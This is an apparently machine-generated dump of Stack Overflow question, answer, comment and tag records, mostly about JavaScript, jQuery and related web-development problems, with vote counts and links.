has body: This code is giving me an error: var openPrayer = function(e) { e.preventDefault(); var id = $(e.currentTarget).data('id'); var json = $.getJSON('/user/prayers/' + id); var temp = new t($('#prayerTemp').html()); json.then(function(resp){ var modal = temp.render(resp[0]); $('body').append(modal); }); } $('.open-prayer').on('click', openPrayer); This is the error: TypeError: e is undefined I don't know where I am going wrong, the code above loads a JSON response into a template I've set up below: Any help is much appreciated.
has answer: http://stackoverflow.com/a/25618966
tagged with: javascript
tagged with: jquery
has title: JQuery Type-error e is undefined issue
answer count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/25618947
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/5921413
downvote count: 0
score: 1

http://stackoverflow.com/q/25666780
downvote count: 0
tagged with: yii
tagged with: javascript
score: 4
tagged with: fancytree
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/25724448
tagged with: php
has title: How to have a link in a FancyTree
has body: I try to use a fancytree. everything is displayed correctly but I can't have a link on the text of the node... why ? and how to solve that? I tried to put html link like this : My Link to view 1 My Link to view 2 My link to view 2, 1st object My link to view 2, 2nd object ... ... Or I tried with CreateAbsoluteUrl($axe['id_entite'].'/view',array('id'=>$axe['id_entite'])).'\')" >'.$axe['text'].' without any success. It seems that FancyTree delete all link on his node. Is it possible to redirect to the right view when a node becomes active or when the checkbox is checked? thanks in advance.
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25724448
type: Question
upvote count: 4

http://stackoverflow.com/q/25600035
upvote count: 1
type: Question
score: 1
has body: I have developed a mobile application which displays line graph using amcharts. I took example of this link please visit http://jsfiddle.net/ATQUm/825/ and developed my application. Now i have stuck with setting themes. It contains different themes like "dark" , "light" , "chalk" etc. Each of them have it own JS. As a example i m attaching a link of dark.js. var chart; var chartData = []; var chartCursor; var day = 0; var firstDate = new Date(); firstDate.setDate(firstDate.getDate() - 500); // generate some random data, quite different range function generateChartData() { for (day = 0; day &lt; 50; day++) { var newDate = new Date(firstDate); newDate.setDate(newDate.getDate() + day); var visits = Math.round(Math.random() * 40) - 20; chartData.push({ date: newDate, visits: visits }); } } // create chart AmCharts.ready(function() { // generate some data first generateChartData(); // SERIAL CHART chart = new AmCharts.AmSerialChart(); chart.pathToImages = "http://www.amcharts.com/lib/images/"; chart.marginTop = 0; chart.marginRight = 10; chart.autoMarginOffset = 5; chart.zoomOutButton = { backgroundColor: '#000000', backgroundAlpha: 0.15 }; chart.dataProvider = chartData; chart.categoryField = "date"; // AXES // category var categoryAxis = chart.categoryAxis; categoryAxis.parseDates = true; // as our data is date-based, we set parseDates to true categoryAxis.minPeriod = "DD"; // our data is daily, so we set minPeriod to DD categoryAxis.dashLength = 1; categoryAxis.gridAlpha = 0.15; categoryAxis.axisColor = "#DADADA"; // value var valueAxis = new AmCharts.ValueAxis(); valueAxis.axisAlpha = 0.2; valueAxis.dashLength = 1; chart.addValueAxis(valueAxis); // GRAPH var graph = new AmCharts.AmGraph(); graph.title = "red line"; graph.valueField = "visits"; graph.bullet = "round"; graph.bulletBorderColor = "#FFFFFF"; graph.bulletBorderThickness = 2; graph.lineThickness = 2; graph.lineColor = "#b5030d"; graph.negativeLineColor = "#0352b5"; graph.hideBulletsCount = 50; // this makes…
answer count: 2
has comment: http://stackoverflow.com/comment/39988666
downvote count: 0
has comment: http://stackoverflow.com/comment/39989067
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25607475
tagged with: themes
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76939178
tagged with: amcharts
has title: Setting a themes for charts using amcharts. [not JSON data]

http://stackoverflow.com/q/25694365
has comment: http://stackoverflow.com/comment/40160719
downvote count: 2
has comment: http://stackoverflow.com/comment/40160668
score: -2
has title: How do you extend jQuery's Event.preventDefault() method?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40160707
has answer: http://stackoverflow.com/a/25694426
linked to: http://stackoverflow.com/q/10312848
has body: I am trying to extend jQuery's Event object's method preventDefault. jQuery.Event.prototype.preventDefault However, when I try to overwrite the function, even with its default method, it doesn't work correctly. jQuery.Event.prototype.preventDefault = function() { var e=this.originalEvent;this.isDefaultPrevented=it,e&amp;&amp;(e.preventDefault e.preventDefault():e.returnValue=!1) } This post is close, but I'd rather just extend the preventDefault function itself: Jquery onclick prevent defaut behaviour
has comment: http://stackoverflow.com/comment/40161236
type: Question
upvote count: 0
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25694426
answer count: 1
has comment: http://stackoverflow.com/comment/40161133
favorite count: 0

http://stackoverflow.com/a/25560673
has comment: http://stackoverflow.com/comment/40041295
has body: The easy way to see this is that directives are thought to be either standalone or to add behaviour. When you call their functions through a controller you are actually making your directive depend on the existence of that controller, not being as reusable as it could/should be. There are other ways to achieve the same result without coupling a viewController to a directive one, but it depends on each specific case so i cannot help you without more information :( Cheers
has comment: http://stackoverflow.com/comment/40609995
upvote count: 2
has comment: http://stackoverflow.com/comment/40041479
has comment: http://stackoverflow.com/comment/39938241
has comment: http://stackoverflow.com/comment/40040566
type: Answer
answers question: http://stackoverflow.com/q/25560014
has comment: http://stackoverflow.com/comment/40080861
has comment: http://stackoverflow.com/comment/39951722
has comment: http://stackoverflow.com/comment/40054613
score: 1
has comment: http://stackoverflow.com/comment/40054547
downvote count: 1
has comment: http://stackoverflow.com/comment/39951742
has comment: http://stackoverflow.com/comment/40043542

http://stackoverflow.com/q/25684115
has title: Google Places autocomplete on a Rails app not working reliably
linked to: http://stackoverflow.com/q/10808109
linked to: http://stackoverflow.com/q/21226357
has comment: http://stackoverflow.com/comment/40216878
type: Question
has body: I have a form in my Rails app where I use the Google Places API for autocompletion, but I can't get it to work everytime. Every time you load the page where the form is, it's like a roll of dice: sometimes the JS works, sometimes it doesn't. By the way, I have several other javascripts that also fails to work sometimes, but the ones for google autocomplete are the most quirky and they are mission-critical. Here is the setup: 1° My html header has: &lt;%= javascript_include_tag "application", "data-turbolinks-track" =&gt; true %&gt; &lt;%= yield :javascript_includes %&gt; Then in my body, I have the content_for tag that is yielded in the head &lt;% content_for :javascript_includes do %&gt; &lt;%= javascript_include_tag "application", "https://maps.googleapis.com/maps/api/js?v=3.exp&amp;sensor=false&amp;libraries=places" %&gt; &lt;script type="text/javascript"&gt; function initializeAutocomplete(){ var input = document.getElementById('offer_location'); var options = { types: ['(cities)'] }; var autocomplete = new google.maps.places.Autocomplete(input, options); google.maps.event.addListener(autocomplete, 'place_changed', function() { var place = autocomplete.getPlace(); var lat = place.geometry.location.lat(); var lng = place.geometry.location.lng(); $('#offer_latitude').val(lat) $('#offer_longitude').val(lng) }); } google.maps.event.addDomListener(window, 'load', initializeAutocomplete); &lt;/script&gt; &lt;% end %&gt; I used to have the script with the initializeAutocomplete in a separate .js file that was loaded through the Asset Pipeline but that gave similar results: the autocomplete worked only half of the time... (in fact I feel it failed even more often) I think the problem has to do with when the different elements are loaded, and when the callback is triggered. Here are examples of the things I tried to change : using $(window).load and $(document).ready instead of addDomListener(window, 'load', initializeAutocomplete) putting the script in a separate google…
tagged with: javascript
has comment: http://stackoverflow.com/comment/40142665
upvote count: 2
has comment: http://stackoverflow.com/comment/40149943
answer count: 2
tagged with: google-places
favorite count: 0
has answer: http://stackoverflow.com/a/34286409
tagged with: google-places-api
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25684453
tagged with: ruby-on-rails
tagged with: asset-pipeline
score: 2
has comment: http://stackoverflow.com/comment/56314018
downvote count: 0
has comment: http://stackoverflow.com/comment/40245299

http://stackoverflow.com/comment/39989676
comment on: http://stackoverflow.com/q/25600509
score: 0
type: Comment
type: QuestionComment
has text: Because `HTML5` wont supports in Internet explorer 9 or below

http://stackoverflow.com/comment/40077446
type: Comment
has text: @sss @Josep Here : ` {{item.host_player}} vs {{item.guest_player}} ` . (`lesMatchs` = `data.leagues`)
comment on: http://stackoverflow.com/a/25632727
score: 0
type: AnswerComment

http://stackoverflow.com/q/25589010
has answer: http://stackoverflow.com/a/25589017
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25589059
score: 1
tagged with: http://stackoverflow.com/tag/json
upvote count: 1
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25589059
has body: I'm trying to make an automatic news feed on a project website, where all the posts are put into a JSON file and then formatted on the news page accordingly. I've finally figured out how to get the json parser to show SOMETHING but that something is just a bunch of "undefined" bits all over the page. What am I doing wrong? The jquery/html snippet The JSON snippet { "posts": [ { "title": "title1", "date": "8302014", "content": "LotsoftextLotsoftext" }, { "title": "title2", "date": "8312014", "content": "CopiousquantitiesoftextCopiousquantitiesoftext" }, { "title": "title3", "date": "8322014", "content": "onlyalittletext" } ] }
answer count: 3
downvote count: 0
accepted answer: http://stackoverflow.com/a/25589017
has title: getJSON returning undefined
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25589163
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25628547
type: Question
linked to: http://stackoverflow.com/q/10526995
tagged with: javascript
has answer: http://stackoverflow.com/a/25628867
tagged with: google-chrome-extension
has title: Can I get the value of a variable from another script?
answer count: 1
has comment: http://stackoverflow.com/comment/40041073
accepted answer: http://stackoverflow.com/a/25628867
has body: Can I get the value of a variable from another script using content script? For example from a script on Facebook. Sorry for my english.
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/40041358

http://stackoverflow.com/comment/40076732
score: 0
has text: @Cosy check this link http://regex101.com/r/sY7oH6/3. Take a look at Code Generator section to copy the javascript code
type: Comment
comment on: http://stackoverflow.com/a/25648070
type: AnswerComment

http://stackoverflow.com/comment/40050786
comment on: http://stackoverflow.com/a/25633373
type: AnswerComment
score: 0
has text: @PSDebugger: You are missing a closing bracket for the `if` statement in that fiddle. In the code that you posted in the question it's not missing.
type: Comment

http://stackoverflow.com/a/25928487
downvote count: 1
has body: You can try this out function ConvertDigits(input, source, target) { var systems = { arabic: 48, english: 48, tamil: 3046, kannada: 3302, telugu: 3174, hindi: 2406, malayalam: 3430, oriya: 2918, gurmukhi: 2662, nagari: 2534, gujarati: 2790, }, output = [], offset = 0, zero = 0, nine = 0, char = 0; source = source.toLowerCase(); target = target.toLowerCase(); if (!(source in systems &amp;&amp; target in systems) || input == null || typeof input == "undefined" || typeof input == "object") { return input; } input = input.toString(); offset = systems[target] - systems[source]; zero = systems[source]; nine = systems[source] + 9; for (var i = 0 ; i &lt; input.length; i++) { var char = input.charCodeAt(i); if (char &gt;= zero &amp;&amp; char &lt;= nine) { output.push(String.fromCharCode(char + offset)); } else { output.push(input[i]); } } return output.join(""); } var res = ConvertDigits('१२३४५६७८९', 'hindi', 'english'); I got it from here If you need a jquery thing then please try this link
has comment: http://stackoverflow.com/comment/79833683
answers question: http://stackoverflow.com/q/25645163
type: Answer
score: 0
upvote count: 1

http://stackoverflow.com/a/28834567
has comment: http://stackoverflow.com/comment/59409341
type: Answer
downvote count: 4
upvote count: 0
has body: This: sudo npm install --save-dev
score: -4
answers question: http://stackoverflow.com/q/25706293

http://stackoverflow.com/comment/40063843
comment on: http://stackoverflow.com/a/25632935
has text: Thank you Quince ! Good job :)
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/39919582
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25562817
has text: "not working" is not very descriptive, is it?

gruntjs
tags question: http://stackoverflow.com/q/25607934
tags question: http://stackoverflow.com/q/25564719
tags question: http://stackoverflow.com/q/25712819
tags question: http://stackoverflow.com/q/25652406
tags question: http://stackoverflow.com/q/25706293
tags question: http://stackoverflow.com/q/25609806
tags question: http://stackoverflow.com/q/25610076
tags question: http://stackoverflow.com/q/25627181
type: Tag
tags question: http://stackoverflow.com/q/25682356
tags question: http://stackoverflow.com/q/25655405
tags question: http://stackoverflow.com/q/25576694
tags question: http://stackoverflow.com/q/25573428
tags question: http://stackoverflow.com/q/25622310
tags question: http://stackoverflow.com/q/25632214
tags question: http://stackoverflow.com/q/25612435
tags question: http://stackoverflow.com/q/25602892
tags question: http://stackoverflow.com/q/25660930
tags question: http://stackoverflow.com/q/25587485
tags question: http://stackoverflow.com/q/25585903
tags question: http://stackoverflow.com/q/25657796
tag name: gruntjs
tags question: http://stackoverflow.com/q/25623925
tags question: http://stackoverflow.com/q/25701623
tags question: http://stackoverflow.com/q/25694692
tags question: http://stackoverflow.com/q/25621410
tags question: http://stackoverflow.com/q/25680900

http://stackoverflow.com/a/25662856
answers question: http://stackoverflow.com/q/25662727
score: 0
has body: Because each row returned by the mysql_fetch_assoc is an associative array which is basically a hash "key/value" which is considered by json and javascript an object ! use mysql_fetch_array instead mysql_fetch_array https://www.php.net/manual/en/function.mysql-fetch-array.php mysql_fetch_assoc http://php.net/manual/en/function.mysql-fetch-assoc.php
type: Answer

http://stackoverflow.com/q/25667684
score: 2
tagged with: dynamic
tagged with: interpreted-language
has answer: http://stackoverflow.com/a/25668859
type: Question
has comment: http://stackoverflow.com/comment/52776647
has comment: http://stackoverflow.com/comment/40129137
tagged with: dynamic-code
tagged with: javascript
has comment: http://stackoverflow.com/comment/40113250
downvote count: 0
has comment: http://stackoverflow.com/comment/52768534
answer count: 1
tagged with: native-code
favorite count: 0
has title: Options for dynamic code generation
has comment: http://stackoverflow.com/comment/40129157
upvote count: 2
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/826398
has comment: http://stackoverflow.com/comment/40113403
has body: I have a (hypothetical) question and I think the solution would be to dynamically generate code. I want to quickly evaluate an arbitrary mathematical function that a user has entered, say to find the sum i=1 to N of i^3+2i^2+6i+1. N is arbitrary and i^3+2i^2+6i+1 is arbitrary too (it need not be a polynomial, and it might contain trigonometric functions and other functions too). Suppose N can be very large. I want to know how I can evaluate the answer quickly, assuming that I have already parsed the user input to some bytecode or something else my program can understand. If possible, I would also like my code to be easily compiled and run on different operating systems (including mobile). I have thought of a few ways: 1) Write an interpreter that interprets and executes each command in my bytecode. This makes me free to use any language, but it's slow. 2) Write in Java/C# and use the dynamic code generation (e.g. Is it possible to dynamically compile and execute C# code fragments?). This would execute as as fast as if I had written the function directly in my source code, with a only a slight slowdown as C#/Java are both JIT-compiled to machine code. The limitation is that Java isn't widely supported on mobile, and C# is Windows-only. 3) Embed an assembler/C++ compiler/compiler for whatever compiled language that I use. The limitation is that it won't work on mobile either - it won't let me execute a data file. 4) Write HTML/Javascript then embed it in a web browser control and put it in an application (I think this is the way some people use to make a universal app that would run anywhere). But it's slow too and writing real applications in Javascript is a pain. Which option do you think is most suitable? Or perhaps I should go with a mix, maybe my application code will create and execute a generated Javascript function?

http://stackoverflow.com/a/25703772
has comment: http://stackoverflow.com/comment/40178914
answers question: http://stackoverflow.com/q/25703222
downvote count: 0
type: Answer
score: 4
upvote count: 4
has body: How about this? The modulus operator is used in favor of an if statement and the code is reduced to: $('#btn-medio-plus').click( function() { var opt_l = $( "#medio option" ); var opt_s = $( "#medio option:selected" ); var i = $( opt_s ).index() + 1; $( opt_l[ i % opt_l.length ] ).prop( "selected", true ); }); This appears to work in both Firefox and Chrome. Modified Fiddle

http://stackoverflow.com/q/25658910
type: UnansweredQuestion
score: 3
linked to: http://stackoverflow.com/q/21968695
tagged with: android-webview
upvote count: 3
type: Question
has comment: http://stackoverflow.com/comment/62698693
downvote count: 0
tagged with: javascript
favorite count: 0
has title: Is there an alternative way to make target-density dpi work in Android 4.4 webview? (Phonegap)
tagged with: android-4.4-kitkat
has comment: http://stackoverflow.com/comment/42355905
tagged with: css
tagged with: cordova
has body: I recently came across this issue in phonegap cross platform applications that target-density dpi is no longer supported in Android 4.4 and it is creating severe problems to my existing applications in terms of layouts. The phonegap application with the following meta information having target-densitydpi=device-dpi, the layout comes perfectly in venue 7 running android 4.3 &lt;meta name="viewport" content="user-scalable=no, initial-scale=1, maximum-scale=1, minimum- scale=1, width=device-width, height=device-height, target-densitydpi=device-dpi" /&gt; When the same was deployed to venue 8 running android 4.4, the console throws a warning telling target-density dpi not supported. Also the layout goes off the screen. I confirmed the issue as per this article. As per my understanding the CSS pixels are not equivalent to the device pixels in this case and hence the issue. And the android team is also requesting for Pixel perfect UI as an alternative Link 1 - Viewport target-densitydpi no longer supported Link 2 - Pixel Perfect UI I also tried the solution pointed out here which also didn't give the expected result. It would be great if there is a way to acheive the property of target-densitydpi=device-dpi through some workarounds. Is there a way?
answer count: 0

http://stackoverflow.com/comment/40148363
type: Comment
comment on: http://stackoverflow.com/a/25688052
type: AnswerComment
score: 0
has text: You can change the next-to-last line to `var RplusOne = RRaised*1 + 1;`. That will type-cast RRaised as a number.

http://stackoverflow.com/q/25675543
has body: I'm building a google map page that will act somewhat like a database for 4 or 5 gps devices around the country. the gps devices that i am using will have their own ip address within a router they will be connected to. to access the lattitude you would input EXAMPLE: 10.10.10.222/server/latitude.cgi and that would access a file with just the text of the lattitude. My problem is that i don't know how to apply that into a google map javascript, does it just reads the text in the file automatically or i have to assign it to read the text? i can't test it for a few days so rather than get bogged down i figured id ask here. The page describing the gps devices is here, along with how the information is pulled from it and how to call it. here is my javascript with lattitude and longitude placeholders of (47,-100): { var map = new google.maps.Map(map_canvas, map_options); var point = new google.maps.LatLng(47, -100); var marker = new google.maps.Marker({ position: point, map: map, icon: 'PointMarkerON.png', title: 'Site 1' })} }
tagged with: javascript
has answer: http://stackoverflow.com/a/25685228
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25685228
has title: GPS coordinates on Google maps with JavaScript
type: Question
tagged with: php
answer count: 1
tagged with: gps
score: 0
tagged with: google-maps

http://stackoverflow.com/comment/40490484
score: 0
has text: yes, I am on devtools that use `chrome.devtools.network.onRequestFinished` which will later on do a `request.getContent(function(response){` where that `response` is the one I need to decompress
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25681498

http://stackoverflow.com/comment/40080323
type: Comment
has text: Or you can use `parseInt` instead of `substr`
comment on: http://stackoverflow.com/a/25647374
type: AnswerComment
score: 0

http://stackoverflow.com/comment/39924549
comment on: http://stackoverflow.com/a/25563742
score: 0
type: Comment
has text: Try This. `$(window).scroll(function(){ if( ($(window).scrollTop() + $(window).height()) > $('#pagina2').offset().top) { alert("hello"); }} )`.
type: AnswerComment

http://stackoverflow.com/a/25566808
answers question: http://stackoverflow.com/q/25564457
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25564457
type: Answer
has body: You have to use, as I said in the comments: Event.find(...).populate('users.profile').exec(...);
score: 0

http://stackoverflow.com/a/25631565
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/25631514
downvote count: 0
has body: I'd use .map(): var items = $('input[name="imdb_url"]').map(function(){ return this.value; }); While there are other ways, map passes through each matching element, and makes an array-like object based on the return of the function inside. You can read more about it here. As @SpYk3HH mentioned, you can also use $.map() which works in a slightly different way but is also a good option if you want to get an array instead of an array-like object.
has comment: http://stackoverflow.com/comment/40047103
answers question: http://stackoverflow.com/q/25631514
has comment: http://stackoverflow.com/comment/40047157
score: 4
has comment: http://stackoverflow.com/comment/40046716
type: AcceptedAnswer

http://stackoverflow.com/comment/40006218
type: Comment
comment on: http://stackoverflow.com/q/25609412
score: 0
type: QuestionComment
has text: And as others mentioned here, your Transaction ID must be un-predictable to eliminate the risk of un-authorized access or privacy issues. So one may try with 2014-09-000009-PM, 2014-09-000011-PM, 2014-09-000012-PM and so on.

http://stackoverflow.com/q/25706439
possible better answer: http://stackoverflow.com/a/25706489
has answer: http://stackoverflow.com/a/25706489
has answer: http://stackoverflow.com/a/25706509
has title: How to re-number a list after removing the unwanted row using jQuery?
answer count: 4
has answer: http://stackoverflow.com/a/25706523
score: 1
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25706494
type: AnsweredQuestion
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25706523
has body: My code creates paragraphs by clicking on the "+" symbol and can also delete by clicking the "X". Every time a paragraph or row is added, the number ascends. When I remove a paragraph or row, that number gets deleted, the way it should. However, I would like for it to re-number automatically. For example: If I create "4" paragraphs, it would list 1, 2, 3, 4 and remove let's say the #2 paragraph, then it looks like this 1, 3, 4 and I need it to perform like this 1, 2, 3. I've been unsuccessful in finding a solution. Anybody familiar with this? This is using jQuery. Check out this link to see the code: http://jsfiddle.net/jkcLe6xp/3/ HTML Create a paragraph jQuery var _pId = 1; var ul = $('.p-wrap'); var li = $(' ').attr({'id':'p_cont_'+ _pId}); var num = $('').attr({'id':'num_cont_'+_pId}).text(_pId).addClass('num-cont'); var para = $(' ').attr({'id':'para_cont_' + _pId}).text('Paragraph goes here...').addClass('para-cont'); var actionContainer = $(' ').addClass('action-cont'); var addPara = $('').attr({'id':'add_para_' + _pId}).text('+').addClass('add-para'); var delPara = $('').attr({'id':'del_para_'+_pId}).text('x').addClass('del-para'); $('a.create').on('click', function(){ actionContainer.append(addPara, delPara); li.append(num, para, actionContainer); ul.append(li); $(this).hide(); _pId++; }); $('ul.p-wrap').on('click', '.add-para, .del-para', function(event){ if($(this).hasClass('add-para')){ var arr = []; var clone = $(li).clone().attr({"id":"p_cont_" + _pId}).insertAfter($(this).parent().parent()); clone.find('span').attr({"id":"num_cont_" + _pId}).text(_pId); $('ul.p-wrap li span').each(function() { arr.push(parseInt($(this).text(), 10)); }); arr.sort(numOrdDesc); $('ul.p-wrap li span').each(function() { $(this).text(arr.pop()); }); _pId++; } else { $(this).parent().parent().remove(); } }); function numOrdDesc(a, b) { return (b - a); }
downvote count: 0
tagged with: jquery
favorite count: 0

http://stackoverflow.com/comment/39948895
comment on: http://stackoverflow.com/a/25578095
type: AnswerComment
has text: So if I used the second form then script would render where its exactly defined and not in master page. If yes, then its better to not include some scripts in master page especially if the they ajax requests to that particular MVC View.
type: Comment
score: 0

http://stackoverflow.com/q/25592343
type: Question
has answer: http://stackoverflow.com/a/25596065
tagged with: rotation
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25592414
downvote count: 0
linked to: http://stackoverflow.com/q/11814295
has answer: http://stackoverflow.com/a/25592449
favorite count: 0
has comment: http://stackoverflow.com/comment/39974663
has title: How to rotate always clockwise using css and jquery?
upvote count: 2
type: UnansweredQuestion
has body: I have a refresh button, and i want it to rotate slowly when clicked. So i think of using transition and transform, here is what i implemented: #refresh{ transition:all 2s; -webkit-transition: all 2s; -moz-transition: all 2s; } #refresh.rotate{ transform: rotate(360deg); -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); } $("#refresh").on('click', function() { $(this).toggleClass('rotate'); }) In this way, when i click for the first time, it rotates clockwise, but for the second time, it rotates anti-clockwise, since it comes back to the beginning. So I change the code to : $("#refresh").on('click', function() { $(this).css('transform', 'rotate(360deg)'); }); In this time, for the second time and latter, nothing happens when i click, since it already at 360 degree position. How to make the refresh button rotate clockwise for every time I click it? Edit: JsFiddle
has answer: http://stackoverflow.com/a/25592427
tagged with: css
answer count: 4
score: 2

http://stackoverflow.com/comment/40030768
type: Comment
type: QuestionComment
has text: Thanks @misterManSam I guess I can save the width and height as a variable and always take half that variable and minus it from the margins (if that makes sense) Thanks
score: 0
comment on: http://stackoverflow.com/q/25622510

inline-if
type: Tag
tag name: inline-if
tags question: http://stackoverflow.com/q/25645310

http://stackoverflow.com/q/25569255
downvote count: 0
has answer: http://stackoverflow.com/a/25569720
favorite count: 0
has answer: http://stackoverflow.com/a/42227418
tagged with: lodash
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/39932473
has comment: http://stackoverflow.com/comment/39933566
accepted answer: http://stackoverflow.com/a/25569852
linked to: http://stackoverflow.com/q/11922383
upvote count: 3
has answer: http://stackoverflow.com/a/58325661
has comment: http://stackoverflow.com/comment/39931903
has comment: http://stackoverflow.com/comment/39931700
type: Question
has comment: http://stackoverflow.com/comment/39932045
has comment: http://stackoverflow.com/comment/39933869
has comment: http://stackoverflow.com/comment/39932312
tagged with: javascript
answer count: 6
has body: I have an array of objects that can be of any length and any depth. I need to be able to find an object by its id and then modify that object within the array. Is there an efficient way to do this with either lodash or pure js? I thought I could create an array of indexes that led to the object but constructing the expression to access the object with these indexes seems overly complex / unnecessary edit1; thanks for all yours replies I will try and be more specific. i am currently finding the location of the object I am trying to modify like so. parents is an array of ids for each parent the target object has. ancestors might be a better name for this array. costCenters is the array of objects that contains the object I want to modify. this function recurses and returns an array of indexes that lead to the object I want to modify var findAncestorsIdxs = function(parents, costCenters, startingIdx, parentsIdxs) { var idx = startingIdx ? startingIdx : 0; var pidx = parentsIdxs ? parentsIdxs : []; _.each(costCenters, function(cc, ccIdx) { if(cc.id === parents[idx]) { console.log(pidx); idx = idx + 1; pidx.push(ccIdx); console.log(pidx); pidx = findAncestorsIdx(parents, costCenters[ccIdx].children, idx, pidx); } }); return pidx; }; Now with this array of indexes how do I target and modify the exact object I want? I have tried this where ancestors is the array of indexes, costCenters is the array with the object to be modified and parent is the new value to be assigned to the target object var setParentThroughAncestors = function(ancestors, costCenters, parent) { var ccs = costCenters; var depth = ancestors.length; var ancestor = costCenters[ancestors[0]]; for(i = 1; i &lt; depth; i++) { ancestor = ancestor.children[ancestors[i]]; } ancestor = parent; console.log(ccs); return ccs; }; this is obviously just returning the unmodified costCenters array so the only other way I can see to target that object is to construct the expression like myObjects[idx1].children[2].grandc…
has answer: http://stackoverflow.com/a/59586525
has comment: http://stackoverflow.com/comment/39932278
has comment: http://stackoverflow.com/comment/39931711
has comment: http://stackoverflow.com/comment/39931861
has answer: http://stackoverflow.com/a/63930961
possible better answer: http://stackoverflow.com/a/25569720
has answer: http://stackoverflow.com/a/25569852
has title: find and modify deeply nested object in javascript array

http://stackoverflow.com/comment/40105068
type: Comment
comment on: http://stackoverflow.com/a/25663609
type: AnswerComment
score: 0
has text: Server side added. Thanks!

http://stackoverflow.com/q/25626299
has answer: http://stackoverflow.com/a/25626813
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40037320
has comment: http://stackoverflow.com/comment/40037182
upvote count: 2
possible better answer: http://stackoverflow.com/a/25626936
answer count: 2
has title: Using promise chaining in resolve feature of $routeProvider
has comment: http://stackoverflow.com/comment/49502980
has comment: http://stackoverflow.com/comment/40036899
tagged with: javascript
has comment: http://stackoverflow.com/comment/40037410
favorite count: 0
has answer: http://stackoverflow.com/a/25626936
tagged with: ngroute
accepted answer: http://stackoverflow.com/a/25626813
score: 2
tagged with: angularjs
downvote count: 0
tagged with: angular-promise
has body: One of my variables in resolve method has dependency of another variable, is it possible to share same promise among variables in resolve method? It seems $route.current.locals stores the resolved variables, however when var2 is processed, $route.current.locals is null since var1 is not resolved yet. What I'm trying to is something like this: $routeProvider.when('/report/:ruleId', { resolve: { var1: ['$route', 'service', function ($route, service) { return service.getRequest(); }], var2: ['$route', 'service', function ($route, service) { return service.getAnotherRequest($route.current.locals.var1.id); }] }});

http://stackoverflow.com/comment/40139672
has text: That was a typo in changing for this post.
score: 0
comment on: http://stackoverflow.com/a/25683107
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/39966643
has text: possible duplicate of [Detect exact OS version from browser](http://stackoverflow.com/questions/647969/detect-exact-os-version-from-browser)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25564017

http://stackoverflow.com/a/25600474
has comment: http://stackoverflow.com/comment/39991324
has comment: http://stackoverflow.com/comment/39991030
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25598520
score: 1
answers question: http://stackoverflow.com/q/25598520
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39991051
upvote count: 1
has body: With any type of async call, you need to handle the result with a callback function instead of looking for the async function to return a value. The reason goes to the very nature of an async op... the thread needs to be able to move onto the next task and handle the result of the async op with a callback function when it has finished. The only way an async op could return the result of the async operation is if the computer held onto the async thread until it was finished, which would make it a sync op. See if this helps: function geocodeAddress(streetAddress) { new Promise(function(resolve, reject) { // async call to Google's Geocoder - takes street address // and returns GPS coordinates var geocoder = new google.maps.Geocoder(); geocoder.geocode({'address': streetAddress}, function(results, status) { if (status == google.maps.GeocoderStatus.OK) { if (results[0]) { resolve({B: results[0].geometry.location['B'], k: results[0].geometry.location['k']}); } else { reject(Error("It broke")); } } else { reject(Error("It broke")); } }); }) .then( // this is the Promise resolve handler function(result) { handleGeocodeResult(result); }, // this is the Promise reject handler function(err) { console.log(err); // Error: "It broke" }); } function handleGeocodeResult(result) { // for illustration only... this function should actually // *BE* the Promise resolve handler. console.log("This is the gpsPosition"); console.log(result); // this console logs the result just fine } geocodeAddress("1600 Amphitheatre Pkwy, Mountain View, CA 94043"); JSFiddle
type: Answer

http://stackoverflow.com/comment/40014714
type: QuestionComment
comment on: http://stackoverflow.com/q/25614158
has text: i think the issue is you're using an `object` element rather than an `svg` element. try taking all of the `svg` code and placing that into the DOM
score: 0
type: Comment

http://stackoverflow.com/q/25613831
tagged with: c#
type: AnsweredQuestion
has title: How can I create a tab to display stuff onmouseover?
type: Question
downvote count: 2
score: -2
answer count: 1
tagged with: javascript
has body: I would like to create this tab that when you point with your mouse on it it displays for instance a vertical list of redirections(links, etc.), and when you move your mouse away it will be hidden again, seems kinda' hard :O How do I do that, please? (I'm programming with c# if it has anything to do with it). Take your time and thanks in advance :)
tagged with: http://stackoverflow.com/tag/html
tagged with: css
favorite count: 0
upvote count: 0
has answer: http://stackoverflow.com/a/25613911
accepted answer: http://stackoverflow.com/a/25613911

http://stackoverflow.com/comment/39960423
has text: Apparently it's called 'call-by-sharing'. See http://stackoverflow.com/questions/518000/is-javascript-a-pass-by-reference-or-pass-by-value-language . If you like this answer, you can accept it :)
type: Comment
comment on: http://stackoverflow.com/a/25584341
score: 1
type: AnswerComment

http://stackoverflow.com/q/25694372
upvote count: 5
